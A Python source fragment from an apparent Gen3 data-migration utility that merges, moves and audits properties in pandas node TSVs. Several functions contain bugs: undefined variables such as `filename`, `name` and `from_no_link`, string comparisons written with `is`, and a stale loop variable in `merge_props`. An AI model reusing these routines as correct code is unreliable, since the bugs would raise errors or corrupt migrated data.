data in '{}' prop of '{}' node in project '{}'.\".format(\n prop, node, project_id\n )\n )\n df = self.read_tsv(project_id=project_id, node=node, name=name)\n filename = \"{}_{}_{}.tsv\".format(name, project_id, node)\n if prop in list(df):\n nn = df.loc[df[prop].notnull()] # number of non-null records\n print(\"\\t\\tNon-null values count: {}.\".format(len(nn)))\n return len(nn)\n else:\n print(\n \"No header '{}' in the TSV for node '{}' of project '{}'.\".format(\n prop, node, project_id\n )\n )\n print(list(df))\n return 0\n\n def get_non_null(self, project_id, node, prop, name=\"temp\"):\n \"\"\"\n Returns list of non-null data for a prop in a TSV.\n \"\"\"\n print(\n \"\\tChecking for non-null data in '{}' prop of '{}' node in project '{}'.\".format(\n prop, node, project_id\n )\n )\n df = self.read_tsv(project_id=project_id, node=node, name=name)\n filename = \"{}_{}_{}.tsv\".format(name, project_id, node)\n if prop in list(df):\n nn = list(df.loc[df[prop].notnull()][prop]) # number of non-null records\n print(\"\\t\\tNon-null values count: \\n\\t{}.\".format(nn))\n return nn\n else:\n print(\n \"No header '{}' in the TSV for node '{}' of project '{}'.\".format(\n prop, node, project_id\n )\n )\n print(list(df))\n return 0\n\n def merge_nodes(self, project_id, in_nodes, out_node, name=\"temp\"):\n \"\"\"\n Merges a list of node TSVs into a single TSV.\n Args:\n in_nodes(list): List of node TSVs to merge into a single TSV.\n out_node(str): The name of the new merged TSV.\n \"\"\"\n print(\"\\tMerging nodes {} to '{}'.\".format(in_nodes, out_node))\n dfs = []\n for node in in_nodes:\n filename = \"{}_{}_{}.tsv\".format(name, project_id, node)\n try:\n df1 = pd.read_csv(filename, sep=\"\\t\", header=0, dtype=str)\n dfs.append(df1)\n print(\"\\t{} node found with {} records.\".format(node, len(df1)))\n except Exception as e:\n print(\"\\tCan't read file {}: {}\".format(filename, e))\n pass\n if len(dfs) == 0:\n print(\"\\tNo nodes were found to merge.\")\n else:\n df = pd.concat(dfs, ignore_index=True, sort=False)\n df[\"type\"] = out_node\n outname = \"{}_{}_{}.tsv\".format(name, project_id, out_node)\n df.to_csv(outname, sep=\"\\t\", index=False, encoding=\"utf-8\")\n print(\n \"\\tTotal of {} records written to node {} in file {}.\".format(\n len(df), out_node, outname\n )\n )\n return df\n\n def merge_props_old(self, project_id, node, props, name=\"temp\"):\n \"\"\"\n This function merges a list of properties (column headers in a single node TSV) into one new or existing destination property.\n The properties merged are then dropped from the TSV's column headers.\n The fxn will check if the destination property already exists in the TSV column headers and whether any non-null data will be overwritten by merging the data.\n\n Args:\n project_id(str): The project_id of the TSV.\n node(str): The node TSV containing properties to merge.\n props(dict): A dictionary of \"destination_prop\":[\"list\",\"of\",\"props\",\"to\",\"merge\",\"and\",\"drop\"]\n \"\"\"\n df = self.read_tsv(project_id=project_id, node=node, name=name)\n # filename = \"{}_{}_{}.tsv\".format(name,project_id,node)\n\n dropped = []\n for prop in list(props.keys()): # keys are destination props\n if prop not in list(\n df\n ): # if destination prop doesn't exist in TSV, add it with all null data\n df[prop] = np.nan\n\n old_props = props[prop] # list of properties to merge\n for old_prop in old_props:\n if old_prop in list(df):\n df_old = df.loc[df[old_prop].notnull()]\n df_old[prop] = df_old[old_prop]\n df_rest = df.loc[df[old_prop].isnull()]\n df_merged = pd.concat(\n [df_rest, df_old], ignore_index=True, sort=False\n )\n df = df_merged.drop(columns=[old_prop])\n dropped.append(old_prop)\n print(\n \"\\tprop '{}' merged into '{}' and dropped from '{}' TSV.\".format(\n old_prop, prop, node\n )\n )\n else:\n print(\n \"\\tprop '{}' not found in '{}' TSV. Skipping...\".format(\n old_prop, node\n )\n )\n if len(dropped) > 0:\n print(\"\\tprops {} merged into {}.\".format(dropped, list(props.keys())))\n df = self.write_tsv(df, project_id, node)\n return df\n else:\n print(\"\\tNo props dropped from '{}'. No TSV written.\".format(node))\n return\n\n def merge_props(self, project_id, node, dest_prop, merge_props, name=\"temp\"):\n \"\"\"\n This function merges a list of properties (column headers in a single node TSV) into one new or existing destination property.\n The properties merged are then dropped from the TSV's column headers.\n The fxn will check if the destination property already exists in the TSV column headers and whether any non-null data will be overwritten by merging the data.\n\n Args:\n project_id(str): The project_id of the TSV.\n node(str): The node TSV containing properties to merge.\n dest_prop(str): The new or existing property (or TSV column header) to merge data from \"merge_props\" into.\n merge_props(list): A list properties to merge into the destination property.\n\n Example:\n node,dest_prop,merge_props = 'demographic','marital_or_partner_status','marital_status'\n df = prep_mig.merge_props(project_id=project_id,node=node,dest_prop=dest_prop,merge_props=merge_props,name=name)\n \"\"\"\n\n df = self.read_tsv(project_id=project_id, node=node, name=name)\n\n # check that each of the \"merge_props\" exists in the TSV; if not, return original dataframe\n if isinstance(merge_props, str):\n merge_props = [merge_props]\n if not isinstance(merge_props, list):\n print(\n \"\\tPlease provide a list of properties (TSV column headers) to merge into the destination property!!\"\n )\n else:\n for merge_prop in merge_props:\n if not merge_prop in list(df):\n print(\n \"\\t\\tProperty to merge '{}' is not found in the '{}' TSV of project '{}'!\".format(\n merge_prop, node, project_id\n )\n )\n return df\n\n # Next check for conflicts to avoid overwriting data:\n print(\n \"\\tAttempting to merge '{}' data into '{}' in '{}' TSV of project '{}'.\".format(\n merge_props, dest_prop, node, project_id\n )\n )\n\n nn_dfs = []\n\n # check if destination property already exists in TSV and if so, whether prop has any non-null data\n if dest_prop in list(df):\n dest_nn = df.loc[df[dest_prop].notnull()][\n [\"submitter_id\", dest_prop] + merge_props\n ] # make a series of non-null destination data, if any\n if not dest_nn.empty: # if destination property has non-null data\n nn_dfs.append(dest_nn)\n print(\n \"\\t\\t{} non-null values for destination prop '{}' in '{}' TSV.\".format(\n len(dest_nn), dest_prop, node\n )\n )\n else:\n df[\n dest_prop\n ] = np.nan # if dest_prop is not in the TSV, add it with all null values\n\n # make series of non-null data to merge\n for merge_prop in merge_props:\n merge_nn = df.loc[df[merge_prop].notnull()][\n [\"submitter_id\", dest_prop] + merge_props\n ]\n print(\n \"\\t\\t{} non-null values out of {} total records for prop to merge '{}' in '{}' TSV of project '{}'.\".format(\n len(merge_nn), len(df), merge_prop, node, project_id\n )\n )\n if not merge_nn.empty:\n nn_dfs.append(merge_nn)\n\n nn = pd.concat(nn_dfs, ignore_index=True, sort=False)\n conflicts = nn.loc[nn[[\"submitter_id\"]].duplicated()]\n\n if not conflicts.empty:\n print(\n \"\\n\\t\\tConflicts in data! If you proceed, existing data will be overwritten!\\n\\n{}\".format(\n conflicts\n )\n )\n return conflicts\n\n # if no conflicts, then merge the data into the new prop and drop the old props\n dropped = []\n mdf = copy.deepcopy(df)\n for nn_df in nn_dfs:\n try:\n mdf[dest_prop] = nn_df[merge_prop]\n mdf.drop(columns=[merge_prop], inplace=True)\n dropped.append(merge_prop)\n print(\n \"\\t\\tprop '{}' merged into '{}' and dropped from '{}' TSV.\".format(\n merge_prop, dest_prop, node\n )\n )\n except Exception as e:\n print(\n \"\\tUnable to merge '{}' prop data into '{}' prop in '{}' TSV:\\n\\t\\t{}\".format(\n merge_prop, dest_prop, node, e\n )\n )\n\n if len(dropped) > 0:\n print(\n \"\\t\\tprops {} merged into destination prop '{}' of '{}' TSV in project '{}'.\".format(\n dropped, dest_prop, node, project_id\n )\n )\n self.write_tsv(mdf, project_id, node)\n else:\n print(\"\\t\\tNo props dropped from '{}'. No TSV written.\".format(node))\n\n return mdf\n\n def add_missing_links(\n self, project_id, node, link, old_parent=None, links=None, name=\"temp\"\n ):\n \"\"\"\n This function adds missing links to a node's TSV when the parent node changes.\n Args:\n node (str): This is the node TSV to add links to.\n link (str): This is the name of the node to add links to.\n Example:\n This adds missing links to the visit node to the imaging_exam TSV.\n add_missing_links(node='imaging_exam',link='visit')\n \"\"\"\n df = self.read_tsv(project_id=project_id, node=node, name=name)\n # filename = \"{}_{}_{}.tsv\".format(project_id, node)\n\n link_name = \"{}s.submitter_id\".format(link)\n if link_name not in list(df):\n df[link_name] = np.nan\n df_no_link = df.loc[\n df[link_name].isnull()\n ] # records with no visits.submitter_id\n if len(df_no_link) > 0:\n df_no_link[link_name] = df_no_link[\"submitter_id\"] + \"_{}\".format(\n link\n ) # visit submitter_id is \"_visit\"\n df_link = df.loc[df[link_name].notnull()]\n df_final = pd.concat(\n [df_link, df_no_link], ignore_index=True, sort=False\n ) # Merge dummy visits back into original df\n df_final.to_csv(filename, sep=\"\\t\", index=False, encoding=\"utf-8\")\n print(\n \"\\t{} links to '{}' added for '{}' in TSV file: {}\".format(\n str(len(df_no_link)), link, node, filename\n )\n )\n return df_final\n else:\n print(\n \"\\tNo records are missing links to '{}' in the '{}' TSV.\".format(\n link, node\n )\n )\n return\n\n def create_missing_links(\n self,\n project_id,\n node,\n link,\n old_parent,\n props,\n new_dd,\n old_dd,\n links=None,\n name=\"temp\",\n ):\n \"\"\"\n This fxn creates links TSV for links in a node that don't exist.\n Args:\n node(str): This is the node TSV in which to look for links that don't exist.\n link(str): This is the node to create the link records in.\n old_parent(str): This is the backref of the parent node of 'node' prior to the dictionary change.\n props(dict): Dict of required props/values to add to new link records.\n Example:\n This will create visit records that don't exist in the visit TSV but are in the imaging_exam TSV.\n create_missing_links(node='imaging_exam',link='visit',old_parent='cases',props={'visit_label':'Imaging','visit_method':'In-person Visit'},new_dd=dd,old_dd=prod_dd,links=None)\n create_missing_links(node='diagnosis',link='visit',old_parent='cases',props={'visit_label':'Unknown','visit_method':'Unknown'},new_dd=dd,old_dd=prod_dd)\n \"\"\"\n print(\n \"\\tCreating missing '{}' records with links to '{}' for '{}'.\".format(\n link, old_parent, node\n )\n )\n\n df = self.read_tsv(project_id=project_id, node=node, name=name)\n # filename = \"{}_{}_{}.tsv\".format(name,project_id,node)\n\n link_name = \"{}s.submitter_id\".format(link) # visits.submitter_id\n if link_name in list(df):\n link_names = list(df[link_name])\n else:\n link_names = []\n link_file = \"{}_{}_{}.tsv\".format(name, project_id, link)\n try:\n link_df = pd.read_csv(\n link_file, sep=\"\\t\", header=0, dtype=str\n ) # open visit TSV\n existing = list(link_df[\"submitter_id\"]) # existing visits\n missing = set(link_names).difference(\n existing\n ) # visit links in df missing in visit TSV: lists items in link_names missing from existing\n if len(missing) > 0:\n print(\n \"\\t\\tCreating {} records in '{}' with links to same cases as '{}' for missing '{}' links.\".format(\n len(missing), link, old_parent, node\n )\n )\n else:\n print(\n \"\\t\\tAll {} records in '{}' node have existing links to '{}'. No new records added.\".format(\n len(df), node, link\n )\n )\n return link_df.loc[link_df[\"submitter_id\"].isin(link_names)]\n except Exception as e:\n link_df = pd.DataFrame()\n print(\n \"\\t\\tCouldn't read '{}' TSV: {}\\nCreating new TSV for links.\".format(\n link, e\n )\n )\n missing = link_names\n parent_link = \"{}.submitter_id\".format(old_parent)\n if parent_link in list(df):\n new_links = df.loc[df[link_name].isin(missing)][[link_name, parent_link]]\n else:\n parent_link = \"{}.submitter_id#1\".format(old_parent)\n new_links = df.loc[df[link_name].isin(missing)][[link_name, parent_link]]\n new_links = new_links.rename(columns={link_name: \"submitter_id\"})\n new_links[\"type\"] = link\n for prop in props:\n new_links[prop] = props[prop]\n if old_parent is not \"cases\":\n old_links = old_dd[node][\"links\"]\n for old_link in old_links:\n if old_link[\"name\"] == old_parent:\n old_node = old_link[\"target_type\"]\n old_name = \"{}_{}_{}.tsv\".format(name, project_id, old_node)\n try:\n odf = pd.read_csv(old_name, sep=\"\\t\", header=0, dtype=str)\n except Exception as e:\n print(\"\\t\\tCouldn't read '{}' TSV: '{}'. Skipping...\".format(node, e))\n return\n # df1 = df_no_link.loc[df_no_link[old_link].notnull()]\n # if len(df1) > 0:\n if \"cases.submitter_id\" in list(odf):\n case_links = odf[[\"cases.submitter_id\", \"submitter_id\"]]\n case_links.rename(columns={\"submitter_id\": parent_link}, inplace=True)\n new_links = pd.merge(new_links, case_links, on=parent_link, how=\"left\")\n new_links.drop(columns=[parent_link], inplace=True)\n else:\n old_backref = links[old_node][0]\n old_links2 = old_dd[old_node][\"links\"]\n for old_link2 in old_links2:\n if old_link2[\"name\"] == old_backref:\n old_node2 = old_link2[\"target_type\"]\n old_name2 = \"{}_{}_{}.tsv\".format(name, project_id, old_node2)\n try:\n odf1 = pd.read_csv(old_name2, sep=\"\\t\", header=0, dtype=str)\n except Exception as e:\n print(\"\\tCouldn't read '{}' TSV: '{}'. Skipping...\".format(node, e))\n return\n odf[parent_link] = odf.submitter_id\n old_parent_link = \"{}.submitter_id\".format(old_backref)\n if old_parent_link in list(odf):\n odf.submitter_id = odf[old_parent_link]\n else:\n old_parent_link = \"{}.submitter_id#1\".format(old_backref)\n odf.submitter_id = odf[old_parent_link]\n odf2 = pd.merge(odf, odf1, on=\"submitter_id\", how=\"left\")\n case_links = odf2[[\"cases.submitter_id\", parent_link]]\n new_links = pd.merge(new_links, case_links, on=parent_link, how=\"left\")\n new_links.drop(columns=[parent_link], inplace=True)\n all_links = pd.concat([link_df, new_links], ignore_index=True, sort=False)\n all_links.to_csv(link_file, sep=\"\\t\", index=False, encoding=\"utf-8\")\n print(\n \"\\t{} new missing '{}' records saved into TSV file:\\n\\t\\t{}\".format(\n str(len(new_links)), link, link_file\n )\n )\n return new_links\n\n def batch_add_visits(self, project_id, new_dd, old_dd, links):\n \"\"\"\n Adds 'Unknown' dummy visits to records in nodes that link to the 'case' node and have no link to the 'visit' node.\n Args:\n project_id(str): The project_id of the TSVs.\n new_dd(dict): The new data dictionary. Get it with `dd=sub.get_dictionary_all()`.\n old_dd(dict): The old data dictionary (e.g., in production). Get it with `dd=prod_sub.get_dictionary_all()`.\n links(dict): A dict of nodes with links to remove, e.g., {'node':['link1','link2']}.\n Example:\n This adds 'visits.submitter_id' links to the 'allergy' node, and it then adds those new visits to the 'visit' TSV, lining the new visit records to the same 'case' records the 'allergy' records are linked to.\n batch_add_visits(project_id=project_id,links={'allergy': ['cases', 'treatments', 'medications']}\n \"\"\"\n required_props = {\"visit_label\": \"Unknown\", \"visit_method\": \"Unknown\"}\n total = 0\n dfs = []\n for node in list(links.keys()):\n # if the node has (only) a link to visit in new dd:\n targets = []\n node_links = new_dd[node][\"links\"]\n for link in node_links:\n if \"subgroup\" in list(link):\n for subgroup in link[\"subgroup\"]:\n targets.append(subgroup[\"target_type\"])\n elif \"target_type\" in list(link):\n targets.append(link[\"target_type\"])\n links_to_drop = links[node]\n print(\"\\t{}: links {}, dropping {}\".format(node, targets, links_to_drop))\n if (\n \"cases\" not in links_to_drop\n and len(links_to_drop) == 1\n and \"visit\" in targets\n and len(targets) == 1\n ):\n df = self.add_missing_links(\n project_id=project_id, node=node, link=\"visit\"\n )\n if df is not None:\n df = self.create_missing_links(\n project_id=project_id,\n node=node,\n link=\"visit\",\n old_parent=links_to_drop[0],\n props=required_props,\n new_dd=new_dd,\n old_dd=old_dd,\n links=links,\n )\n dfs.append(df)\n total += len(df)\n elif \"cases\" in links_to_drop and \"visit\" in targets and len(targets) == 1:\n df = self.add_missing_links(\n project_id=project_id, node=node, link=\"visit\"\n )\n if df is not None:\n df = self.create_missing_links(\n project_id=project_id,\n node=node,\n link=\"visit\",\n old_parent=\"cases\",\n props=required_props,\n new_dd=new_dd,\n old_dd=old_dd,\n links=links,\n )\n dfs.append(df)\n total += len(df)\n else:\n print(\"\\tNo links to 'case' found in the '{}' TSV.\".format(node))\n if len(dfs) > 0:\n df = pd.concat(dfs, ignore_index=True, sort=False)\n print(\"\\tTotal of {} missing visit links created for this batch.\".format(total))\n return df\n\n def move_prop(\n self,\n project_id,\n old_node,\n new_node,\n prop,\n dd,\n parent_node=None,\n required_props=None,\n name=\"temp\",\n warn=True,\n ):\n \"\"\"\n This function moves a single property and its data from one node (old_node) to another node (new_node).\n Fxn also checks whether the data to be moved actually has non-null data. If all data are null, no new records are created.\n Fxn also checks whether the property already exists in the new_node, and if it does, fxn exits with nothing changed.\n\n Args:\n old_node(str): Node TSV to copy data from.\n new_node(str): Node TSV to add copied data to.\n prop: A property, or column header in the old_node TSV, which contains data to move to the new_node.\n dd(dict): The data dictionary being used to determine node relationships; get it with Gen3Submission.get_dictionary_all() fxn.\n parent_node(str): The parent node that links the old_node to the new_node, e.g., 'visit' or 'case'.\n required_props(dict): If the new_node has additional required props, enter the value all records should get for each key.\n\n Example:\n This moves the prop 'military_status' from 'demographic' node to 'military_history' node, which should link to the same parent node 'case'.\n move_prop(from_node='demographic',to_node='military_history',prop='military_status',parent_node='case')\n \"\"\"\n\n print(\n \"\\tMoving prop '{}' from node '{}' to '{}'.\".format(\n prop, old_node, new_node\n )\n )\n\n odf = self.read_tsv(project_id, old_node)\n\n if odf is None:\n print(\n \"\\t\\tNo '{0}' TSV found in project '{1}'. Nothing changed.\".format(\n old_node, project_id\n )\n )\n return\n\n # Check that the data column to move exists and is not entirely null. # If there are no non-null data, then there is no reason to move the TSV header.\n if prop not in odf:\n print(\n \"\\t\\t'{}' not found in '{}' TSV. Nothing changed.\".format(\n prop, old_node\n )\n )\n return odf\n\n onn = odf.loc[odf[prop].notnull()]\n\n if len(onn) == 0:\n print(\n \"\\t\\tAll null data in '{}' node for '{}' prop. No data to migrate; '{}' TSV unchanged.\".format(\n old_node, prop, new_node\n )\n )\n print(\"\\t\\tDropping '{}' from old_node: '{}' TSV.\".format(prop, old_node))\n self.write_tsv(odf.drop(columns=[prop]), project_id, old_node)\n return odf\n\n # if the new node TSV already exists, read it in, if not, create a new df\n ndf = self.read_tsv(project_id, new_node)\n if ndf is not None:\n print(\n \"\\t\\t'{}' TSV already exists with {} records.\".format(\n new_node, len(ndf)\n )\n )\n new_file = False\n else:\n ndf = pd.DataFrame(columns=[\"submitter_id\"])\n print(\n \"\\t\\tNo '{}' TSV found. Creating new TSV for data to be moved.\".format(\n new_node\n )\n )\n new_file = True\n\n # Check that prop isn't already in the new_node with non-null data. If it is and 'warn' isn't set to False, then stop.\n if prop in ndf:\n nn = ndf.loc[ndf[prop].notnull()]\n if not nn.empty and warn is True:\n print(\n \"\\n\\n\\t\\t\\tWARNING! prop '{}' already exists in '{}' with {} non-null records.\".format(\n prop, new_node, len(nn)\n )\n )\n return ndf\n else:\n ndf.drop(columns=[prop], inplace=True, errors=\"raise\")\n print(\n \"\\t\\t\\t'{}' already found in '{}' TSV with all null data; dropping column from TSV.\".format(\n prop, new_node\n )\n )\n else:\n print(\n \"\\t\\t\\tProp '{}' not in original '{}' TSV. Adding now.\".format(\n prop, new_node\n )\n )\n\n # set the parent_link and check for records with no link\n if parent_node is not None:\n parent_link = \"{}s.submitter_id\".format(parent_node)\n else:\n parent_link = \"{}s.submitter_id\".format(new_node)\n\n no_link = odf.loc[\n odf[parent_link].isnull()\n ] # from_node records with no link to parent_node\n if not no_link.empty: # if there are records with no links to parent node\n print(\n \"\\tWarning: there are {} '{}' records with no links to parent '{}' node!\".format(\n len(from_no_link), from_node, parent_node\n )\n )\n return odf\n\n # p = dict(zip(odf[parent_link],odf[prop]))\n\n # Determine which header to merge data on (usually link to the parent node, but for some many-to-one relationships, may need to merge data using visit_id (dm 2.2.))\n pdf = onn[[parent_link, prop]] # prop dataframe\n pdf.drop_duplicates(subset=None, keep=\"first\", inplace=True)\n if len(onn) != len(\n pdf\n ): # if number of non-null records doesn't equal number of unique IDs for those records, then data are many-to-one with parent node. Try merging on visit_id\n print(\n \"\\t\\t\\tCan't move data using '{}'!. More than one '{}' value found per '{}' in '{}' TSV. Total non-null records: {}. Total of unique '{}' for these records: {}. Attemping to merge on 'visit_id'.\".format(\n parent_link,\n prop,\n parent_link,\n old_node,\n len(onn),\n parent_link,\n len(pdf),\n )\n )\n if \"visit_id\" in onn and \"visit_id\" in ndf:\n old_visits = list(set(onn[\"visit_id\"]))\n new_visits = list(set(ndf[\"visit_id\"]))\n if len(old_visits) > 0 and len(new_visits) > 0:\n matching_visits = list(set(old_visits).intersection(new_visits))\n missing_visits = list(set(old_visits).difference(new_visits))\n if len(matching_visits) == len(old_visits):\n merge_on = \"visit_id\"\n print(\n \"\\t\\t\\tFound {} matching visit_ids between records in '{}' and '{}' TSVs. Merging '{}' into '{}' on 'visit_id'.\".format(\n len(matching_visits), old_node, new_node, prop, new_node\n )\n )\n elif len(matching_visits) > 0:\n print(\n \"\\t\\t\\tFound some BUT NOT ALL matching visit_ids between records in '{}' and '{}' TSVs. Merging {} matching records '{}' into '{}' on 'visit_id'.\".format(\n old_node, new_node, len(matching_visits), prop, new_node\n )\n )\n merge_on = \"visit_id\"\n else: # if len(matching_visits) == 0:\n print(\n \"\\t\\t\\tFound no matching visit_ids between records in '{}' and '{}' TSVs!\".format(\n old_node, new_node, prop, new_node, parent_link\n )\n )\n return odf\n else:\n print(\n \"\\t\\t\\t\\tCan't merge on 'visit_id'! Both old and new nodes must have 'visit_id' in TSV to move data on 'visit_id'.\".format(\n parent_link\n )\n )\n else:\n merge_on = parent_link\n\n pdf = onn[[merge_on, prop]] # prop dataframe\n pdf.drop_duplicates(subset=None, keep=\"first\", inplace=True)\n\n old_links = list(set(onn[merge_on]))\n new_links = list(set(ndf[merge_on]))\n matching_links = list(set(old_links).intersection(new_links))\n missing_links = list(set(old_links).difference(new_links))\n if len(matching_links) != len(old_links):\n print(\n \"\\n\\n\\n\\n\\t\\t\\tWARNING! Found only {} matches in {} '{}' links in '{}' and '{}' TSVs. \\n\\n\\n\\t\\t\\tMAY WANT TO LOOK INTO THIS!\\n\\n\\n\\n\".format(\n len(matching_links),\n len(old_links),\n parent_link,\n old_node,\n new_node,\n prop,\n new_node,\n parent_link,\n )\n )\n\n # create entirely new records for old_node data without links already in new_node TSV\n if len(missing_links) > 0:\n new = pdf.loc[pdf[merge_on].isin(missing_links)]\n new[\"submitter_id\"] = new[merge_on] + \"_{}\".format(prop)\n new[\"project_id\"] = project_id\n new[\"type\"] = new_node\n ndf = pd.concat([ndf, new], ignore_index=True, sort=False)\n\n if new_node is \"case\":\n pdf = odf[[parent_link, prop]] # prop dataframe\n pdf.drop_duplicates(subset=None, keep=\"first\", inplace=True)\n pdf.rename(\n columns={parent_link: \"submitter_id\"}, inplace=True, errors=\"raise\"\n )\n headers = list(pdf)\n case_data = pd.DataFrame(columns=headers)\n case_ids = list(pdf[\"submitter_id\"].unique())\n case_data[\"submitter_id\"] = case_ids\n count = 1\n for case_id in case_ids:\n print(\n \"\\tGathering unique data for case '{}' ({}/{})\".format(\n case_id, count, len(case_ids)\n )\n )\n df1 = pdf.loc[pdf[\"submitter_id\"] == case_id]\n for header in headers:\n vals = list(set(df1.loc[df1[header].notnull()][header].unique()))\n if len(vals) == 1:\n case_data.loc[\n case_data[\"submitter_id\"] == case_id, header\n ] = vals\n elif len(vals) > 1:\n print(\"\\t{}: {}\".format(header, vals))\n if (\n header == \"age_at_enrollment\"\n ): # special case hard-coded for BRAIN Commons migration\n lowest_val = min(vals, key=float)\n print(\n \"\\tSelecting lowest value '{}' from {}.\".format(\n lowest_val, vals\n )\n )\n case_data.loc[\n case_data[\"submitter_id\"] == case_id, header\n ] = lowest_val\n count += 1\n df = pd.merge(pdf, case_data, on=\"submitter_id\", how=\"left\")\n\n elif parent_node is \"case\":\n df = pd.merge(\n left=ndf, right=pdf, how=\"left\", left_on=merge_on, right_on=merge_on\n )\n print(\n \"\\t\\tMerging {} non-null '{}' records into '{}' TSV on '{}'.\".format(\n len(pdf), prop, new_node, merge_on\n )\n )\n\n else: # neither new_node nor parent_node are 'case'\n df[\"submitter_id\"] = odf[\"submitter_id\"] + \"_{}\".format(new_node)\n df[\"type\"] = new_node\n df[\"project_id\"] = project_id\n df = df.loc[~df[\"submitter_id\"].isin(list(ndf.submitter_id))]\n df = pd.concat([ndf, df], ignore_index=True, sort=False)\n\n # add any missing required props to new DF\n if required_props is not None:\n new_required = list(\n set(list(dd[new_node][\"required\"])).difference(list(df))\n )\n link_target = None\n for link in list(dd[new_node][\"links\"]):\n if link[\"name\"] in new_required:\n link_target = link[\"target_type\"]\n new_required.remove(link[\"name\"])\n for prop in new_required:\n if prop in list(required_props.keys()):\n df[prop] = required_props[prop]\n print(\n \"\\tMissing required prop '{}' added to new '{}' TSV with all {} values.\".format(\n prop, new_node, required_props[prop]\n )\n )\n else:\n df[prop] = np.nan\n print(\n \"\\tMissing required prop '{}' added to new '{}' TSV with all null values.\".format(\n prop, new_node\n )\n )\n\n # CHECK the migration!\n null = df.loc[df[prop].isnull()]\n null_parents = list(set(null[merge_on]))\n onn_parents = list(set(onn[merge_on]))\n missed = list(\n set(null_parents).intersection(onn_parents)\n ) # list of ids (type of id is 'merge_on') for records in df where there is a value in old TSV but not in new TSV\n nn = df.loc[df[prop].notnull()][[merge_on, prop]]\n nn.drop_duplicates(subset=None, keep=\"first\", inplace=True)\n\n if len(nn) != len(onn) or len(missed) > 0:\n print(\n \"\\t\\t\\t\\n\\nWARNING! It appears some data in old node '{}' ({} non-null records) was not properly migrated to new node '{}' ({} non-null records)!\\n\\n\".format(\n old_node, len(onn), new_node, len(nn)\n )\n )\n\n try:\n print(\"\\t\\tDropped '{}' from old_node: '{}' TSV.\".format(prop, old_node))\n self.write_tsv(odf.drop(columns=[prop]), project_id, old_node)\n print(\n \"\\t\\tMoved prop '{}' with {} non-null records from '{}' TSV to '{}'.\".format(\n prop, len(onn), old_node, new_node\n )\n )\n self.write_tsv(df, project_id, new_node)\n\n except Exception as e:\n print(type(e), e)\n\n return df\n\n def add_prop(self, project_id, node, props):\n\n df = self.read_tsv(project_id=project_id, node=node, name=name)\n # filename = \"{}_{}_{}.tsv\".format(name,project_id,node)\n\n for prop in list(props.keys()):\n if prop not in list(df):\n df[prop] = props[prop]\n else:\n print(\n \"\\tprop '{}' already in the TSV for node '{}'.\".format(prop, node)\n )\n\n df.to_csv(filename, sep=\"\\t\", index=False, encoding=\"utf-8\")\n return df\n\n def non_null_data(self, project_id, node, prop, name=\"temp\"):\n \"\"\"Returns the non-null data for a property.\"\"\"\n df = self.read_tsv(project_id=project_id, node=node, name=name)\n nn = df.loc[df[prop].notnull()]\n return nn\n\n def check_non_null(self, project_id, node, props, name=\"temp\"):\n\n non_null = {}\n df = self.read_tsv(project_id=project_id, node=node, name=name)\n\n if df is not None:\n print(\n \"\\tChecking data in '{}' TSV of project '{}'\".format(node, project_id)\n )\n\n for prop in props:\n if df is not None:\n if prop in df:\n nn = df.loc[df[prop].notnull()]\n non_null[prop] = len(nn)\n print(\n \"\\t\\tprop '{}' has '{}' non-null records\".format(prop, len(nn))\n )\n else:\n non_null[prop] = \"NO_PROP\"\n print(\"\\t\\tprop '{}' not found in TSV\".format(prop))\n else:\n non_null[prop] = \"NO_TSV\"\n return non_null\n\n def check_props_data(\n self,\n tsv_dir,\n props,\n compare=False,\n project_ids=\"all\",\n name=\"temp\",\n outname=\"prod\",\n ):\n \"\"\"Creates a report of null and non-null data counts for a given list of properties.\n If 'compare' is True, will print a report of comparisons\n \"\"\"\n try:\n os.chdir(tsv_dir)\n except Exception as e:\n print(\"Couldn't locate TSV dir ({}): {}\".format(tsv_dir, e))\n\n if project_ids == \"all\":\n pattern = \"*_tsvs\"\n project_dirs = glob.glob(pattern)\n else:\n project_dirs = [pdir + \"_tsvs\" for pdir in project_ids]\n\n proj_regex = re.compile(\"(.+)_tsvs\")\n projects = {\n proj_regex.match(project_dir).groups()[0]: project_dir\n for project_dir in project_dirs\n }\n\n data = {}\n nodes = list(props)\n\n for project_id in list(projects):\n\n pdir = \"{}/{}\".format(tsv_dir, projects[project_id])\n os.chdir(pdir)\n data[project_id] = {}\n\n for node in nodes:\n data[project_id][node] = {}\n df = self.read_tsv(project_id=project_id, node=node, name=name)\n if df is not None:\n print(\n \"\\tChecking data in '{}' TSV of project '{}'\".format(\n node, project_id\n )\n )\n node_props = props[node]\n for prop in node_props:\n data[project_id][node][prop] = {}\n if df is None:\n missing = \"NO_TSV\"\n print(\"\\t\\tTSV '{}' not found in {}\".format(node, pdir))\n else:\n if prop not in df:\n missing = \"NO_PROP\"\n print(\"\\t\\tprop '{}' not found in TSV\".format(prop))\n else:\n missing = False\n data[project_id][node][prop][\"missing\"] = missing\n\n # if prop is missing, all values get 0\n if missing is \"NO_PROP\" or missing is \"NO_TSV\":\n data[project_id][node][prop][\"N\"] = 0\n data[project_id][node][prop][\"nn\"] = 0\n data[project_id][node][prop][\"null\"] = 0\n data[project_id][node][prop][\"value_count\"] = 0\n\n else:\n data[project_id][node][prop][\"N\"] = len(df)\n nn = df.loc[df[prop].notnull()]\n data[project_id][node][prop][\"nn\"] = len(nn)\n null = df.loc[df[prop].isnull()]\n data[project_id][node][prop][\"null\"] = len(null)\n if nn.empty:\n value_count = 0\n else:\n values = list(set(nn[prop]))\n value_count = len(values)\n data[project_id][node][prop][\"value_count\"] = value_count\n\n print(\n \"\\t\\tprop '{}' has {} total, {} non-null, {} null records, and {} unique values.\".format(\n prop, len(df), len(nn), len(null), value_count\n )\n )\n\n os.chdir(tsv_dir)\n\n if compare is False:\n\n c = {\n \"project_id\": [],\n \"node\": [],\n \"prop\": [],\n \"missing\": [],\n \"N\": [],\n \"null\": [],\n \"nn\": [],\n \"value_count\": [],\n }\n\n for node in nodes:\n node_props = props[node]\n for prop in node_props:\n for project_id in list(projects):\n missing = data[project_id][node][prop][\"missing\"]\n N = data[project_id][node][prop][\"N\"]\n null = data[project_id][node][prop][\"null\"]\n nn = data[project_id][node][prop][\"nn\"]\n value_count = data[project_id][node][prop][\"value_count\"]\n c[\"project_id\"].append(project_id)\n c[\"node\"].append(node)\n c[\"prop\"].append(prop)\n c[\"missing\"].append(missing)\n c[\"N\"].append(N)\n c[\"null\"].append(null)\n c[\"nn\"].append(nn)\n c[\"value_count\"].append(value_count)\n outfile = \"check_props_data_{}.tsv\".format(outname)\n\n else: # if compare is True:\n c = {\n \"project_id\": [],\n \"old_node\": [],\n \"old_prop\": [],\n 